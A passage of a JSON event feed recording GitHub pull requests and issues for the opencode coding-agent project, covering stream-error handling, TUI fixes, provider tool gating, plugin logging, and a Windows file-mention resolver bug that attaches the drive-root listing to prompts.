I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42177",
          "createdAt": "2026-08-12T23:28:38Z",
          "updatedAt": "2026-08-12T23:32:44Z",
          "timestamp": "2026-08-12T23:32:44Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a021008f4f093801f8c4",
        "signalId": "github:anomalyco/opencode:pull_request:42102",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42102",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(llm): preserve nested OpenAI stream errors",
          "text": "### Issue for this PR Closes #42007 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The nested OpenAI Responses SSE error handling from #36130 (commit bd0dffd) is missing from `dev`. The fix was merged to `v2` but lost during the branch transition — `git merge-base --is-ancestor bd0dffd78 HEAD` returns false on `dev`. OpenAI Responses can deliver stream errors in three shapes: top-level fields (`type`, `code`, `message`), nested under `response.error`, or nested under a top-level `error` envelope. The current `dev` code only handles the first two. When an OpenAI-compatible proxy sends an event-level `error` object (as the official SDK recognizes), the nested `code` and `message` are silently dropped and the user sees a generic \"OpenAI Responses stream error\" instead of the actual cause (e.g. `context_length_exceeded: prompt too long`). This restores the three-shape handling from #36130: - Adds `error: optionalNull(OpenAIResponsesErrorPayload)` to `OpenAIResponsesEvent` - Widens `code` and `param` to `optionalNull` to accept spec-compliant nullable fields - Updates `providerErrorMessage` and `providerError` to check `event.error` before `event.response?.error` Credit to @harshmathurx and @aidenpcline who authored the original fix in #36130. ### How did you verify your code works? - 57 tests pass in `packages/llm/test/provider/openai-responses.test.ts` (0 fail), including three new cases that cover the `event.error` envelope, nullable `code`/`param` fields, and `error: null` fallback - `packages/llm` typecheck clean - Prettier clean on both changed files ### Screenshots / recordings ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42102",
          "createdAt": "2026-08-12T18:05:02Z",
          "updatedAt": "2026-08-12T18:05:02Z",
          "timestamp": "2026-08-12T18:05:02Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e00b190f4ffe71e756ab",
        "signalId": "github:anomalyco/opencode:pull_request:42339",
        "event": "changed",
        "observedAt": "2026-08-13T17:47:07.884300Z",
        "changedFields": [
          "title",
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42339",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): keep shell commands full width",
          "text": "## Summary - show a differing shell working directory as a display-only `cd <path> &&` prefix - keep the running spinner and completed `$` prompt in the same command slot - render the full shell invocation as one wrapping text flow instead of narrow prompt and command columns ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - rendered in the real V2 tool card with a wrapped multi-line command Requested by: @jlongster (James Long via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42339",
          "createdAt": "2026-08-13T14:32:59Z",
          "updatedAt": "2026-08-13T17:47:21Z",
          "timestamp": "2026-08-13T17:47:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e2960ac09a16a35c3bfb",
        "signalId": "github:anomalyco/opencode:issue:42378",
        "event": "discovered",
        "observedAt": "2026-08-13T17:47:07.884300Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42378",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "websearch tool hidden when using the official OpenCode Go (opencode-go) provider",
          "text": "### Description The [tools docs](https://opencode.ai/docs/tools/) say `websearch` \"is only available when using the OpenCode provider or when the `OPENCODE_ENABLE_EXA` environment variable is set\". I'm using the official **OpenCode Go** subscription ([docs](https://opencode.ai/docs/go/), model IDs use the `opencode-go/` prefix, e.g. `opencode-go/deepseek-v4-flash`, API key added via `/connect`). However, `websearch` is filtered out of the tool list for the `opencode-go` provider. The gate is in `packages/opencode/src/tool/registry.ts`: ```ts // L58-60 export function webSearchEnabled(providerID: ProviderV2.ID, flags = { exa: false, parallel: false }) { return providerID === ProviderV2.ID.opencode || flags.exa || flags.parallel } // L286-290 if (tool.id === WebSearchTool.id) { return webSearchEnabled(input.providerID, { exa: flags.enableExa, parallel: flags.enableParallel }) } ``` `webSearchEnabled` only matches `ProviderV2.ID.opencode` exactly — the `opencode-go` provider ID never matches, so the tool is hidden unless `OPENCODE_ENABLE_EXA` / `OPENCODE_ENABLE_PARALLEL` is set. Same code on `dev` (https://github.com/anomalyco/opencode/blob/dev/packages/opencode/src/tool/registry.ts#L58-L60). Expected: `opencode-go` is an official OpenCode product (\"Go works like any other provider in OpenCode\" — https://opencode.ai/docs/go/), so it should be treated as the OpenCode provider and expose `websearch` (which needs no API key). At minimum, the docs should state that OpenCode Go does not include `websearch`. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Install opencode 1.18.18 2. Add OpenCode Go API key (`/connect` → OpenCode Go) 3. Start a session with `opencode-go/deepseek-v4-flash` 4. `websearch` does not appear in the available tools; setting `OPENCODE_ENABLE_EXA=1` restores it ### Screenshot and/or share link N/A ### Operating System macOS ### Terminal iTerm2",
          "url": "https://github.com/anomalyco/opencode/issues/42378",
          "createdAt": "2026-08-13T17:45:42Z",
          "updatedAt": "2026-08-13T17:45:42Z",
          "timestamp": "2026-08-13T17:45:42Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "xfqz86",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:d6985287e89ce422010f",
        "signalId": "github:anomalyco/opencode:pull_request:42383",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42383",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): render granular instruction updates",
          "text": "## What Instruction changes now append only the affected file deltas instead of repeating every loaded `AGENTS.md` file in full. Modified files render as three-context unified patches. Added and removed files use explicit messages. ## Before / After **Before:** Editing one line in one instruction file appended a complete replacement containing every global and project instruction file. The session learned the correct new state, but paid the token cost of unrelated unchanged files. **After:** The same edit appends a small patch for that file. Unchanged files are omitted while additions and removals remain explicit. ## How - `packages/core/src/instruction-discovery.ts` compares the previous and current file arrays by path. - Modified files use the existing `diff` dependency to produce unified patches with three lines of context. - Added files include their complete contents; removed files name the source that no longer applies. - `packages/core/test/instruction-discovery.test.ts` covers granular rendering and the real watcher-driven update/delete flow. ## Scope This does not attempt to attribute file changes to the session that made them or suppress self-authored updates. Durable instruction state, chronological updates, and compaction behavior are unchanged. ## Testing - `bun run test` in `packages/core`: 1,709 passed, 16 skipped - `bun run test test/instruction-discovery.test.ts` in `packages/core`: 10 passed - `bun typecheck` in `packages/core` - Repository pre-push typecheck: 34 tasks passed - `bunx prettier --check packages/core/src/instruction-discovery.ts packages/core/test/instruction-discovery.test.ts` - `git diff --check` ## Flow ```mermaid flowchart LR A[Read instruction files] --> B[Compare with admitted values] B --> C{Change type} C -->|Modified| D[Append unified patch] C -->|Added| E[Append new instructions] C -->|Removed| F[Append removal notice] D --> G[Durable chronological update] E --> G F --> G ```",
          "url": "https://github.com/anomalyco/opencode/pull/42383",
          "createdAt": "2026-08-13T17:57:34Z",
          "updatedAt": "2026-08-13T18:01:09Z",
          "timestamp": "2026-08-13T18:01:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:57248a168c4a52b6683a",
        "signalId": "github:anomalyco/opencode:pull_request:42353",
        "event": "changed",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42353",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype missing location recovery",
          "text": "## What Add a persistent recovery surface when a session's location cannot initialize. The transcript remains readable, the durable model identity remains visible in existing message chrome, and the normal composer is replaced with a focused `Choose directory` action using the same question-panel pattern as permissions. ## Before / After **Before** 1. A session's directory is deleted. 2. Location-scoped reads fail. 3. The durable session and transcript still exist, but the TUI presents secondary symptoms such as an unavailable model. 4. The user has no clear recovery action in the composer. **After** 1. The session route retains the failed location synchronization state. 2. The transcript remains mounted. 3. The composer is replaced with `Session location unavailable`, the abbreviated path, and `Choose directory`. 4. The action opens the existing `Move session` dialog, scoped to cataloged directories for the same project. 5. An unavailable current directory is not synthesized into the picker. 6. A successful destination sync clears the recovery state and restores the composer. ## How - `packages/tui/src/context/location.tsx` retains the latest location synchronization error and clears it before each retry. - `packages/tui/src/routes/session/permission.tsx` exposes the existing question-panel shell as `SessionQuestion` without changing permission behavior. - `packages/tui/src/routes/session/location-missing.tsx` renders the recovery prompt through that shared shell. - `packages/tui/src/component/dialog-move-session.tsx` treats the project directory catalog as authoritative and flattens category headers while searching. - Storybook mounts the production recovery panel and move dialog with fixture directories. ## Scope - The client currently knows only that location initialization failed. It cannot prove the directory is missing rather than config, plugin, or catalog initialization failing. Typed server-side location status remains follow-up work. - This PR does not fix orphaned-session move semantics, absolute `/cd` handling, or CLI HTTP error exits. - The Storybook fixture handles the final selection locally; it does not call the server move endpoint. ## Testing - `bun typecheck` from `packages/tui` - `bun run test test/new-session-location.test.ts` from `packages/tui` (3 passing) - `bun run test test/cli/tui/data.test.tsx` was attempted twice; 22 event-stream tests timed out with the fixture stuck in `reconnecting` - Commit hook: `bun turbo typecheck --concurrency=3` (34 tasks passing) - OpenCode Drive walkthrough of the production recovery panel and project-scoped picker ## Demo https://github.com/user-attachments/assets/9ad51e2f-a2ec-4a5d-aff9-17b017d249c5 ![Project-scoped recovery directory picker](https://github.com/user-attachments/assets/7b552728-1c27-46bf-b837-797cc210e6cf) ## Flow ```mermaid flowchart TD A[Open durable session] --> B{Location sync succeeds?} B -- Yes --> C[Normal composer] B -- No --> D[Keep transcript visible] D --> E[Show recovery panel] E --> F[Open Move session] F --> G{Destination sync succeeds?} G -- Yes --> C G -- No --> E ```",
          "url": "https://github.com/anomalyco/opencode/pull/42353",
          "createdAt": "2026-08-13T16:18:08Z",
          "updatedAt": "2026-08-13T18:00:55Z",
          "timestamp": "2026-08-13T18:00:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:77b8c16ea3c335ad190f",
        "signalId": "github:anomalyco/opencode:pull_request:42384",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42384",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): prioritize composer keybinds",
          "text": "## What Replace the Shell tab's hard-coded `Ctrl+D` interceptor with OpenTUI keymap layer priority for the full composer. Closes #42377. ## Before / After **Before:** #42366 restored the default Shell kill shortcut with a raw event interceptor that recognized only literal `Ctrl+D`. Custom bindings and the adjacent composer navigation/Subagents layers still depended on equal-priority registration order against focused-editor bindings. **After:** Composer navigation and active tab actions use contextual priority. Their configured bindings win while the composer is active, including custom bindings, without matching physical keys manually. ## How - Give the composer navigation layer contextual `priority: 1`. - Give Shell and Subagents action layers the same priority. - Remove the Shell-specific raw event interceptor. - Extend the composer keymap test to exercise tab navigation and a custom Shell kill binding while a textarea remains focused. ## Investigation Focused rendered-component tests showed permission rejection, textual forms, autocomplete destructive actions, and ordinary non-default editor collisions already behave correctly. Lowering `app.exit` priority did not fix the real TUI. Applying priority to the active composer layers did. ## Testing - `bun run test test/cli/tui/composer-keymap.test.tsx` from `packages/tui`: 3 passed - `bun typecheck` from `packages/tui`: passed - Push hook repository typecheck: 34 packages passed - Live PTY with `termctrl` against the elected service: opened composer, switched Subagents → Shell, pressed `Ctrl+D`, observed the shell disappear, and confirmed its ID was absent from `/api/shell` ## Flow ```mermaid flowchart LR Key[Configured keypress] --> Mode{Composer active?} Mode -- no --> Editor[Normal global/editor binding] Mode -- yes --> Priority[Priority 1 composer layer] Priority --> Action[Navigation or active-tab action] ```",
          "url": "https://github.com/anomalyco/opencode/pull/42384",
          "createdAt": "2026-08-13T17:59:49Z",
          "updatedAt": "2026-08-13T17:59:57Z",
          "timestamp": "2026-08-13T17:59:57Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:b330fe83bb068104cadf",
        "signalId": "github:anomalyco/opencode:issue:42293",
        "event": "changed",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42293",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode zen DeepSeek V4 Flash Free requests fail with [invalid_bearer_credential]",
          "text": "### Description I was using opencode connected to DeepSeek V4 Flash Free on opencode zen, and most - *but not all*! - requests failed with an error, `Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential` This happened with version 1.18.3. I upgraded to 1.18.18, and it kept happening. I then connected to DeepSeek V4 Flash on my opencode **go** subscription, and the request immediately succeeded, and kept working. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Connect to opencode zen 2. Choose DeepSeek V4 Flash (Free) as the model 3. Ask some number of requests, most of them seem to be failing at the time of reporting. ### Screenshot and/or share link With DeepSeek V4 Flash Free on OpenCode Zen: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb2b2c90-7204-4f3b-a905-34dd47dcddbc\" /> With DeepSeek V4 Flash on OpenCode Go: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ee91724e-6030-4604-a3e7-c53bfc1f5d7c\" /> ### Operating System Ubuntu 26.04 ### Terminal Ubuntu terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42293",
          "createdAt": "2026-08-13T09:21:50Z",
          "updatedAt": "2026-08-13T17:59:10Z",
          "timestamp": "2026-08-13T17:59:10Z",
          "metrics": {
            "reactions": 0,
            "comments": 12
          },
          "labels": [],
          "author": "cbrunschen",
          "state": "closed",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cf07df9f731d1c50445b",
        "signalId": "github:anomalyco/opencode:issue:6719",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:6719",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: slash command for reload",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request A `/reload` that reloads config files like `opencode.jsonc` of global and project level and also `.opencode/` this way without having to close and open the tui just able to reload easily could be even better done when a `/compact` is runnning",
          "url": "https://github.com/anomalyco/opencode/issues/6719",
          "createdAt": "2026-01-03T02:53:24Z",
          "updatedAt": "2026-08-13T17:57:46Z",
          "timestamp": "2026-08-13T17:57:46Z",
          "metrics": {
            "reactions": 80,
            "comments": 16
          },
          "labels": [],
          "author": "wojons",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:b778573269302188e9a4",
        "signalId": "github:anomalyco/opencode:issue:42382",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42382",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "slowless",
          "text": "mimo v2.5 free is so slow its making a readme on 10 hours.",
          "url": "https://github.com/anomalyco/opencode/issues/42382",
          "createdAt": "2026-08-13T17:53:50Z",
          "updatedAt": "2026-08-13T17:56:09Z",
          "timestamp": "2026-08-13T17:56:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "tomar753ozi-sketch",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:a6b14bb6573d9f559ad7",
        "signalId": "github:anomalyco/opencode:pull_request:42375",
        "event": "changed",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42375",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): prototype tab scroll memory",
          "text": "## What Add an opt-in V2 TUI experiment that remembers the reading position of each open session tab and provides a direct return to the latest transcript content. Enable **Remember tab scroll** from the DevTools **Experiments** dialog. ## Before / After **Before:** Switching away from a session tab unmounted its transcript. Returning always snapped to the bottom, even when reading earlier output. Scrolling upward also had no visible return action. **After:** A tab away from the bottom retains its in-memory scroll offset. Returning restores that position and shows `↓ Bottom` along the right edge above the composer with one column of spacing. Tabs at the bottom retain no offset. ## How - `packages/tui/src/component/dialog-experiments.tsx` registers **Remember tab scroll** in V2's config-native Experiments dialog and removes the redundant list category heading. - `packages/tui/src/context/session-tabs.tsx` owns transient positions for open tabs, clearing them when tabs close or the experiment is disabled. - `packages/tui/src/routes/session/index.tsx` captures positions on unmount, restores them after transcript layout, and renders the jump control only while away from the bottom. - Restoring a position mounts the full transcript first; first visits and bottom-position tabs retain the existing tail-first fast path. ## Scope - V2 only, based on `v2`. - Disabled by default. - Positions last only for the current TUI process. - Only open tabs retain positions. - No server-side or durable session state changes. ## Testing - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 689 passed, 5 skipped - Push hook `bun turbo typecheck --concurrency=3`: 34 packages passed ## Demo OpenCode Drive capture showing the actual `↓ Latest` affordance while the transcript is scrolled away from the bottom: ![Latest transcript action](https://github.com/user-attachments/assets/0875aa48-605e-4649-8b35-d301eb690480) The experiment is enabled from the V2 TUI DevTools **Experiments** dialog. ## Flow ```mermaid flowchart TD A[Open session tab] --> B{At bottom?} B -->|Yes| C[Clear offset and hide control] B -->|No| D[Keep offset and show Bottom] D --> E[Switch tabs] E --> F[Restore offset after transcript layout] D -->|Click Bottom| C D -->|Close tab| C D -->|Disable experiment| C ```",
          "url": "https://github.com/anomalyco/opencode/pull/42375",
          "createdAt": "2026-08-13T17:28:58Z",
          "updatedAt": "2026-08-13T17:55:48Z",
          "timestamp": "2026-08-13T17:55:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:bc77706c7b89260131f7",
        "signalId": "github:anomalyco/opencode:issue:42380",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42380",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "File-mention resolver expands stray \"@\\\" in prompt content to a C:\\ drive-root attachment (Windows)",
          "text": "### Description On Windows, OpenCode's server-side prompt file-mention resolver (`SessionPrompt.resolvePromptParts`) scans the **entire** prompt text for `@` mentions and can resolve a stray `@\\` byte sequence to the **drive root** `C:\\`, then attaches the whole drive-root directory listing to the model context. The mention extractor uses: ```js FILE_REGEX = /(?<![\\w`])@(\\.?[^\\s`,.]*(?:\\.[^\\s`,.]+)*)/g ``` The character class `[^\\s`,.]` **includes backslash**, so an `@\\` sequence anywhere in the prompt — including inside a binary blob or a diff that was embedded as text — is captured as mention `X = \"\\\"`. Then, in `resolvePromptParts`: ```js // X === \"\\\\\" j = X.startsWith(\"~/\") ? join(homedir(), X.slice(2)) : path.resolve(worktree, X); // path.resolve(worktree, \"\\\\\") === \"C:\\\\\" on Windows he = stat(j); // Directory parts.push({ type: \"file\", url: \"file:///C:/\", // Wy(j).href filename: \"\\\\\", // raw mention X mime: \"application/x-directory\", }); ``` OpenCode then injects a synthetic `Called the Read tool with the following input: {\"filePath\":\"C:\\\\\"}` plus the full `C:\\` directory listing into the message. This also fires for **subagents whose tools are disabled** (e.g. `\"*\": false`), which contradicts their tool policy — they never called a tool, yet a `Read` of `C:\\` appears in their transcript. Impact: not a data leak (only top-level directory *names* are listed), but it wastes context, pollutes prompts, and produces misleading synthetic tool calls. It reproduces deterministically whenever a prompt carries binary/diff payload containing `@\\`. ### Steps to reproduce 1. On Windows, send any prompt (or a `task`-tool subagent prompt) whose text contains the two bytes `` @\\ `` where `@` is not preceded by a word character. Minimal example: a prompt containing `` foo @\\` bar ``. Any embedded binary/diff payload naturally contains such bytes. 2. Inspect the resulting user message parts. It gains: - a `file` part `{\"type\":\"file\",\"url\":\"file:///C:/\",\"filename\":\"\\\\\",\"mime\":\"application/x-directory\"}`, - a synthetic text part `Called the Read tool with the following input: {\"filePath\":\"C:\\\\\"}`, - a text part with the full `C:\\` root directory listing. ### OpenCode version 1.18.18 ### Operating System Windows 11 ### Expected behavior The file-mention resolver should not treat a lone `\\` (or `/`) as an attachable mention. A capture whose `path.resolve(worktree, X)` lands on a filesystem/drive root, or that escapes the worktree (`path.relative(worktree, j)` starts with `..` or is empty), should be rejected. Mention scanning should also avoid matching inside binary payloads / fenced code blocks. ### Actual behavior A lone `\\` captured by `FILE_REGEX` resolves to `C:\\`, `stat`s as a directory, and is attached with a synthetic `Read` of the drive root, injecting the root listing into context. ### Evidence The regex and `resolvePromptParts` code above were extracted from the shipped 1.18.18 Windows binary. The behavior reproduced identically across 5 independent real sessions (each produced a byte-identical `{\"url\":\"file:///C:/\",\"filename\":\"\\\\\",\"mime\":\"application/x-directory\"}` attachment). Related but distinct code path (TUI autocomplete): #35330.",
          "url": "https://github.com/anomalyco/opencode/issues/42380",
          "createdAt": "2026-08-13T17:50:55Z",
          "updatedAt": "2026-08-13T17:53:29Z",
          "timestamp": "2026-08-13T17:53:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Maicololiveras",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:05237c8cfb15ef787477",
        "signalId": "github:anomalyco/opencode:pull_request:42381",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42381",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): show failed shell exit code",
          "text": "## Summary - detect non-zero shell exit metadata - show a pinned red `× exited with code N` row - keep the failure visible outside collapsed command output, including output previews longer than ten lines ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - real V2 session fixture with 11 lines of output and exit code 1 Requested by: @kitlangton (Kit via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42381",
          "createdAt": "2026-08-13T17:51:45Z",
          "updatedAt": "2026-08-13T17:51:53Z",
          "timestamp": "2026-08-13T17:51:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:b18552a96ade58dc9a88",
        "signalId": "github:anomalyco/opencode:pull_request:42379",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42379",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: log plugin load failures to stderr",
          "text": "### Issue for this PR Closes #41817 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Plugin load errors are only published as a `Session.Event.Error` in `publishPluginError` (`packages/opencode/src/plugin/index.ts`). The desktop renderer does not consume that event, so a plugin that fails to load in the desktop app is invisible: the entry appears in the plugin list, nothing is logged, and no tools register. Example: plugins importing `bun:sqlite` on the Node plugin host (see #41817). Change: `publishPluginError` also writes the message to stderr, which the desktop sidecar pipes into the server log, so failures are diagnosable. The `bun:sqlite` shim itself is tracked separately in #41817. ### How did you verify your code works? Could not run the desktop build locally (no Node/pnpm toolchain in the environment). The change is a one-line addition to the existing error path, using the Node `process.stderr` API; the existing event publish is untouched. ### Screenshots / recordings N/A (no UI change). ### Checklist - [ ] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42379",
          "createdAt": "2026-08-13T17:50:31Z",
          "updatedAt": "2026-08-13T17:50:41Z",
          "timestamp": "2026-08-13T17:50:41Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "YoannDev90",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:e67a78e3e65ccfed0000",
        "signalId": "github:anomalyco/opencode:pull_request:41818",
        "event": "discovered",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41818",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix: log plugin load failures to stderr",
          "text": "### Issue for this PR Closes #41817 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Plugin load errors are only published as a `Session.Event.Error` in `publishPluginError` (`packages/opencode/src/plugin/index.ts`). The desktop renderer does not consume that event, so a plugin that fails to load in the desktop app is invisible: the entry appears in the plugin list, nothing is logged, and no tools register. Example: plugins importing `bun:sqlite` on the Node plugin host (see #41817). Change: `publishPluginError` also writes the message to stderr, which the desktop sidecar pipes into the server log, so failures are diagnosable. The `bun:sqlite` shim itself is tracked separately in #41817. ### How did you verify your code works? Could not run the desktop build locally (no Node/pnpm toolchain in the environment). The change is a one-line addition to the existing error path, using the Node `process.stderr` API; the existing event publish is untouched. ### Screenshots / recordings N/A (no UI change). ### Checklist - [ ] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41818",
          "createdAt": "2026-08-11T18:30:32Z",
          "updatedAt": "2026-08-13T17:50:21Z",
          "timestamp": "2026-08-13T17:50:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "YoannDev90",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:26b7d4a4cf983f12400c",
        "signalId": "github:anomalyco/opencode:issue:42143",
        "event": "changed",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [
          "updatedAt",
          "metrics"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42143",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Why does Opencode require me to subscribe when your official website states it's 100% free?",
          "url": "https://github.com/anomalyco/opencode/issues/42143",
          "createdAt": "2026-08-12T20:34:29Z",
          "updatedAt": "2026-08-13T17:49:48Z",
          "timestamp": "2026-08-13T17:49:48Z",
          "metrics": {
            "reactions": 26,
            "comments": 8
          },
          "labels": [],
          "author": "mahmoud-Web-Developer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3d5ae3202ba8ae8afcd3",
        "signalId": "github:anomalyco/opencode:issue:42378",
        "event": "changed",
        "observedAt": "2026-08-13T18:01:55.420671Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "assignees"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42378",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "websearch tool hidden when using the official OpenCode Go (opencode-go) provider",
